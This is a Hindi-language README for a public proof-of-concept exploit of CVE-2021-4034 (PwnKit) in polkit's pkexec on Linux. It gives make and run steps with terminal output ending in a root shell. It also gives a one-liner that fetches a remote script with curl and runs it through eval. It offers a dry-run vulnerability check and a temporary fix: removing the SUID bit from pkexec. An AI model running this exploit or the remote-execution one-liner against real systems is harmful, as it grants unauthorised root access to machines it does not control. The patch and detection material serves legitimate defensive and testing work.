
CVE-2021-4034 (PwnKit) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो polkit pkexec SUID बाइनरी को लक्षित करता है ताकि Linux सिस्टम पर रूट तक स्थानीय विशेषाधिकार वृद्धि प्राप्त की जा सके।
polkit विशेषाधिकार वृद्धि एक्सप्लॉइट के लिए वन-डे
बस make और ./cve-2021-4034 चलाएँ और अपने root शेल का आनंद लें।
वास्तविक लेखकों द्वारा मूल एडवाइज़री यहाँ है।
यदि एक्सप्लॉइट काम कर रहा है, तो आपको तुरंत root शेल मिल जाएगा:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
अधिकांश सिस्टम पर polkit को अपडेट करने से यह एक्सप्लॉइट पैच हो जाएगा, इसलिए आपको उपयोग-निर्देश दिखाई देंगे और प्रोग्राम बाहर निकल जाएगा:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
शेल निष्पादित किए बिना केवल यह जाँचने के लिए कि सिस्टम असुरक्षित है या नहीं, dry-run टार्गेट को कंपाइल करें।
यदि प्रोग्राम "root" प्रिंट करके बाहर निकलता है, तो इसका मतलब है कि आपका सिस्टम इस एक्सप्लॉइट के प्रति असुरक्षित है।
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
यदि आपका सिस्टम असुरक्षित नहीं है, तो यह एक त्रुटि प्रिंट करके बाहर निकल जाता है।
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (पूर्व में PolicyKit) यूनिक्स-जैसे ऑपरेटिंग सिस्टम में सिस्टम-व्यापी विशेषाधिकारों को नियंत्रित करने के लिए एक घटक है। यह गैर-विशेषाधिकार प्राप्त प्रक्रियाओं के लिए विशेषाधिकार प्राप्त प्रक्रियाओं के साथ संवाद करने का एक व्यवस्थित तरीका प्रदान करता है। pkexec कमांड के बाद निष्पादित किए जाने वाले कमांड (root अनुमति के साथ) लिखकर बढ़े हुए विशेषाधिकारों के साथ कमांड चलाने के लिए भी polkit का उपयोग किया जा सकता है।
आप एक ही स्क्रिप्ट की मदद से आसानी से सिस्टम को एक्सप्लॉइट कर सकते हैं, जिसे इस कमांड से डाउनलोड करके निष्पादित किया जा सकता है:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
यदि आपके ऑपरेटिंग सिस्टम के लिए कोई पैच उपलब्ध नहीं है, तो आप अस्थायी शमन के रूप में pkexec से SUID-बिट हटा सकते हैं।
# chmod 0755 /usr/bin/pkexec
तब एक्सप्लॉइट विफल हो जाएगा और शिकायत करेगा कि pkexec में setuid बिट सक्षम होना चाहिए।
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root